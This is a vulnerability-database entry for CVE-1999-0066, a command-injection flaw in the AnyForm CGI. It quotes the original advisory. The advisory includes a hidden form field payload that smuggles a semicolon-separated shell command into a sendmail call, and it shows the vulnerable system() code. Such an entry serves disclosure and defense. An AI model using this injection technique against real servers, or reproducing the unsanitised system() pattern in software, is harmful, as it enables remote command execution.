Lucene search
+L

John S.2 Roberts AnyForm 1.0/2.0 - CGI Semicolon

🗓️ 31 Jul 1995 00:00:00Reported by Paul PhillipsType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 29 Views

AnyForm versions lacked data sanity checks, allowing command execution by remote attackers.

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
AnyForm CGI Arbitrary Command Execution
26 Aug 200200:00
nessus
cve
CVE
CVE-1999-0066
29 Sep 199904:00
cve
cvelist
Cvelist
CVE-1999-0066
29 Sep 199904:00
cvelist
nvd
NVD
CVE-1999-0066
31 Jul 199504:00
nvd
ptsecurity
Positive Technologies
PT-1995-1000 · Unknown · Anyform Cgi
31 Jul 199500:00
ptsecurity
redhatcve
RedhatCVE
CVE-1999-0066
21 May 202518:05
redhatcve
seebug
seebug.org
AnyForm脚本远程可执行任意命令漏洞
25 Oct 200800:00
seebug
vulnrichment
Vulnrichment
CVE-1999-0066
29 Sep 199904:00
vulnrichment
source: https://www.securityfocus.com/bid/719/info

AnyForm is a popular form CGI designed to support simple forms that deliver responses via email. Certain versions of AnyForm did not perform user supplied data sanity checking and could be exploited by remote intruders to execute arbitrary commands. These commands were issued as the UID which the web server runs as, typically 'nobody'.

Exploit as taken from the original post on this issue:

To exploit, create a form with a hidden field something like this:

<input type="hidden" name="AnyFormTo" value="[email protected];command-to-execute
with whatever arguments;/usr/lib/sendmail -t [email protected] ">

Then submit the form to the "AnyForm" CGI on the server to be attacked.
The value of this parameter is passed to this code:

SystemCommand="/usr/lib/sendmail -t " + AnyFormTo + " <" + CombinedFileName;
system(SystemCommand);

Since system invokes a shell, the semicolons are treated as command
delimeters and anything can be inserted

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Jul 2012 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 27.5
CVSS 3.19.8
EPSS0.12433
SSVC
29